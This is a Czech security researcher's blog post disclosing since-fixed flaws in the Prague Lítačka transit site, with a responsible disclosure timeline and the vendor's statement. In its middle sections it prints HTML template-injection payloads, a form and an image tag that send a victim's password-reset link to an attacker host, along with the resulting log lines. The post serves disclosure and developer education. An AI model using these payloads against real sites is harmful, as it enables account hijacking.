Před pár týdny byl v Praze a Středočeském kraji spuštěn nový Regionální dopravní systém PID Lítačka. Ten umožňuje kupovat jízdné mobilní aplikací, nahrávat kupóny na platební karty (resp. je spolu spárovat) a ty pak přikládat k náhodným zařízením v dopravních prostředcích. A taky uměl získat odkaz na reset hesla jakéhokoliv uživatele přímo z jeho browseru.
Pár dní po spuštění jsme se na to s Jakubem Boučkem z rychlíku podívali a pár bezpečnostních chyb našli vcelku rychle. Kvůli jedné z nich jde zneužít nepovedený reset zapomenutých hesel k únosu účtů.
Nejdříve ale vlítneme na registraci, protože pro další zkoumání budeme potřebovat účet. Po zadání e-mailové adresy a hesla při registraci je ještě nutné účet aktivovat kliknutím na odkaz, který Lítačka pošle na zadaný e-mail.
Aktivace jakéhokoliv účtu
Obsah aktivačního e-mailu včetně odkazu se ale nejdřív posílá z prohlížeče na server, ten ho vezme a pošle na zadaný e-mail. Pokud chcete ověřit jakýkoliv účet, tak se stačí podívat co váš prohlížeč posílá a vytáhnout si ten správný odkaz.
Registrace začíná odesláním těchto dat z JavaScriptu na https://www.pidlitacka.cz/api
:
{
"params": {
"UserName": "litacka@...",
"Password": "...",
"SendPUK": false
},
"action": "CreateLogin"
}

Takhle to vypadá v Developer Tools ve Firefoxu, jiný nástroj nebudeme potřebovat
Server prohlížeči vrátí:
{
"Result": {
"ID": 0,
"Type": {
"Text": null,
"ID": 0
},
"Text": "OK"
},
"Login": {
"UserName": "litacka@...",
"LoginID": ...,
"Active": false
}
}
Následuje poslání obsahu e-mailu z prohlížeče na https://www.pidlitacka.cz/api
, server ho vezme a pošle na zadanou adresu:
{
"action": "SendEmail",
"params": {
"LoginID": ...,
"TokenID": 1,
"BodyIsHtml": true,
"Body": "...HTML... aktivaci Vašeho účtu provedete na následujícím odkazu: <br> <a href=\"https://www.pidlitacka.cz/activation?user=...&id=...\"> ...HTML...",
"Email": "litacka@...",
"Subject": "Aktivace účtu"
}
}
Z vašeho prohlížeče si tedy můžete vytáhnout odkaz https://www.pidlitacka.cz/activation?user=...&id=...
pro ověření jakéhokoliv e-mailu. Stačí si otevřít Developer Tools a podívat se na odeslaný požadavek. Zajímavostí je také to, že parametr user
v odkazu je do Base64 zakódovaná e-mailová adresa uživatele, jehož účet chcete aktivovat a parametr id
je 19 číslic, z nichž prvních 10 nápadně připomíná „timestamp“, tedy počet vteřin od 1.1.1970, častý formát zápisu času.
Jakuba napadlo se podívat na zoubek i resetu hesel. Pokud by prohlížeč stejným způsobem posílal i odkaz na reset zapomenutého hesla, tak by se případný útočník mohl dostat i k tomu odkazu a mohl tak komukoliv unést účet resetováním hesla.
Reset zapomenutých hesel
Reset hesla začíná kontrolou existence uživatelského jména, na https://www.pidlitacka.cz/api
se pošlou tato data:
{
"action": "CheckUserName",
"params": {
"UserName": "litacka@..."
}
}
Po odpovědi ze serveru, která obsahuje mj. "LoginID": ...
, prohlížeč sestaví zprávu, která se má uživateli poslat a pošle ji na https://www.pidlitacka.cz/api/requestPasswordChange
. Odesílaná data:
{
"template": "...HTML... {{content}} ...HTML...",
"root": "https://www.pidlitacka.cz/",
"params": {
"email": "litacka@..."
},
"type": "password"
}
V prohlížeči se po odeslání objeví „Byl vám odeslán email s odkazem pro změnu hesla“, ale požadavek na nastavení nového hesla obsahuje opravdu jenom {{content}}
. Na toto místo server přidá odkaz a nějaký další text a výslednou zprávu pošle na zadaný e-mail. Takže asi smůla.

Výsledná zpráva s nahrazeným {{content}}
Ledaže bychom si nějak ze stránky vytáhli („exfiltrovali“) to HTML, které Lítačka doplní na místo značky {{content}}
a poslali ho k sobě na server. Jo, to by šlo. HTML kolem {{content}}
má útočník pod kontrolou, takže tu značku může něčím obalit, třeba formulářem a značkou textarea
:
{
"template": "...HTML... <form action=https://útočník><textarea name=html>{{content}}</textarea><input type=submit value=NASTAV></form> ...HTML...",
"root": "https://www.pidlitacka.cz/",
"params": {
"email": "litacka@..."
},
"type": "password"
}
Uživateli přijde e-mail, ve kterém uvidí tlačítko NASTAV
, klikne na něj a v tu chvíli prohlížeč vezme obsah útočníkem přidaného textového políčka, do kterého server předtím vložil zprávu včetně unikátního odkazu, a pošle ho na útočníkem zadanou adresu.

Upravená doručená zpráva, jistě by šla víc vyšperkovat
V logu serveru se pak dá najít něco jako:
GET /?html=...%3Ca+href%3D%22https%3A%2F%2Fwww.pidlitacka.cz%2Fpassword-reset%2Fstep2%3Fid%3D...%22%3E... HTTP/2.0
Po dekódování dostaneme <a href="https://www.pidlitacka.cz/password-reset/step2?id=...">
. Stačí ten odkaz vzít, otevřít si ho v prohlížeči a nastavit jakémukoliv uživateli nové heslo a tím mu v podstatě unést účet.

Jednotlivé kroky útoku vypadají následovně:
+-------------+ | Prohlížeč | (posílá útočníkem upravenou šablonu a adresu oběti) +------+------+ | <form action=útočník>{{content}}</form> | +------v------+ | Lítačka API | (nahradí {{content}} za odkaz, posílá e-mail) +------+------+ | <form action=útočník>odkaz</form> | +------v------+ | Oběť | (uživatel klikne na tlačítko v e-mailu) +------+------+ | odkaz na reset hesla | +------v------+ | Útočník | (může nastavit heslo oběti a unést účet) +-------------+
Únos obrázkem
Uvedený způsob vyžaduje uživatelskou akci – uživatel musí kliknout na tlačítko v e-mailu. Další možností je pokusit se načíst obrázek z útočníkovo serveru:
<img src='https://útočník/?html={{content}}'>
Uživatel si otevře e-mail a jeho prohlížeč narazí na útočníkem vložený obrázek. V tu chvíli se browser pokusí stáhnout obrázek z adresy, do které server doplnil e-mail s unikátním kódem pro reset hesla. Všimněte si ohraničení hodnoty atributu src
pomocí apostrofů (někdy jim říkáme jednoduché uvozovky). To je proto, že klasické (dvojité) uvozovky z HTML, které se dosadí místo značky {{content}}
, by nám jinak src
rozbily a předčasně ukončily.
Takový únos HTML ale nefunguje v Chrome, v něm jsou blokovány požadavky na obrázky s adresou, která obsahuje nové řádky a znak menší než (<
). Ve Firefoxu by to prošlo, v logu by se objevilo něco jako:
GET /?html=...%3Ca%20href=%22https://www.pidlitacka.cz/password-reset/step2?id=...%22%3E... HTTP/2.0

Požadavek na obrázek s uneseným odkazem v Developer Tools ve Firefoxu
Jistě by to šlo celé zkombinovat a automatizovat, ale to není cílem tohoto článku. Jednotlivé kroky vypadají podobně jako v případě použití útočníkem přidaného formuláře, jen uživatel nemusí na nic klikat.
Společně s Jakubem Boučkem vás, webové vývojáře, prosíme, nevěřte ničemu co vám prohlížeč posílá, děkujeme. Rozhodně vám totiž nemusí vrátit to, co mu pošlete. A taky si na web dejte soubor security.txt
, ať nemusíme dlouze hledat, komu takové chyby hlásit. Lítačka už takový soubor přidala.
Dodatek
Tak jako vždy jsem po napsání textu výše poslal odkaz dotčené firmě s tím, že ho za týden vydám (chybu jsme už před napsáním článku začali rozebírat veřejně na Facebooku, takže nebyl důvod ho „tajit“ déle). Jejich reakce byla ukázková:
- 29. srpna 2018 ve 22:41 jsem poslal odkaz na neveřejný článek Michalovi Fišerovi, šéfovi společnosti Operátor ICT, a.s., která Lítačku vytvořila
- 30. srpna v 0:30 posílám odkaz pro jistotu ještě vedoucímu oddělení vývoje a inovací (máme společného známého, díky Vašku za zprostředkování kontaktu), ten za 13 minut(!) odpovídá a píše „Postarám se, aby se dostal na ty správná místa“, wow!
- 30. srpna v 7:55 reaguje i Michal Fišer, wow!
- 30. srpna v 13:02 přichází e-mail od vedoucího oddělení ICT, později odpoledne mi volal, že ještě ten den nasadí opravu, ty jo!
- 31. srpna ve 13:55 posílám popis chyb, na které mě upozornil Jakub. Jedná se o nesouvisející chybu při pokusu o registraci e-mailu, který obsahuje znak
+
a o dost vážnější problém, který i po pokusu o opravu stále umožní aktivovat účet někoho jiného: v požadavku z prohlížeče stačí zaměnit e-mailovou adresu oběti za nějakou jinou, na kterou server pošle aktivační odkaz pro uživatele podleloginId
, které je také součástí požadavku. Pro správnou funkčnost odkazu je pak potřeba vrátit původní adresu oběti zpět do parametruuser
. - 1. září v 1:11 ještě doplňuji, že reset hesla už podle nás vypadá v pořádku, ale upozorňuji na zřejmou chybu původního API pro posílání aktivačních e-mailů, které jde zneužít pro poslání jakýchkoliv e-mailů na libovolné adresy.
- Po víkendu, 3. září 2018, 23:08, dostávám odpověď, že nasazují opravy i těch zbylých chyb a že chyba při zadání adresy se znakem
+
je známá a že prý „bojují s problémem na straně použitého LDAP“. Chápu. - V úterý 4. září odpoledne si Operátor ICT telefonicky vyžádal posunutí vydání článku o týden – prý se ta poslední dávka oprav nepovedla podle představ. Původně měl článek vyjít následující den, ale Operátor ICT skvěle reaguje a snaží se, tu hlavní chybu (únos resetu hesel) už opravil, a tak to mile rád vydám později.
- Po týdnu, 12. září, posílám dotaz, jestli jsou ready. Po pár hodinách dostávám odpověď, že skoro jo a že druhý den bude ještě omezeno zasílání libovolných emailů.
- Dnes dostávám slíbené vyjádření a konečně mačkám tlačítko „Vydat článek“.
Vyjádření Operátora ICT
„Velice si ceníme profesionálního přístupu p. Špačka a jeho kolegy, kteří nás informovali o potencionální bezpečnostní hrozbě v systému, který je nyní v pilotní fázi. Jsme rádi, že jsme na základě jeho podnětu podnikli okamžité kroky ke zlepšení bezpečnosti regionálního dopravně odbavovacího systému. Právě zpětná vazba od expertů je pro nás velice přínosná a pomáhá nám neustále vylepšovat systém pro bezmála 3 miliony cestujících v rámci Prahy a Středočeského kraje. Díky rychlé a profesionální reakci tak nedošlo k žádnému případu zneužití.“ Vladimír Antonin Bláha, tiskový mluvčí městské společnosti Operátor ICT, a.s.
Díky Jakubovi (@JakubBoucek) za spolupráci a společnosti Operátor ICT za skvělé řešení tohoto incidentu. Kéž by takový přístup měli všichni.
Mohlo by vás také zajímat
- O rizicích Lítačky a obecně jízdenek nahraných na platebních kartách píše Michal Altair Valášek
Vyvíjím webové aplikace, zajímá mě jejich bezpečnost. Nebojím se o tom mluvit veřejně, hledám hranice tak, že je posouvám. Chci naučit webové vývojáře stavět bezpečnější a výkonnější weby a aplikace.
Veřejná školení
Zvu vás na následující školení, která pořádám a vedu:
Bezpečnost PHP aplikací
(12.–15. září 2022 )
HTTPS pro vývojáře a správce
(19.–20. září 2022 )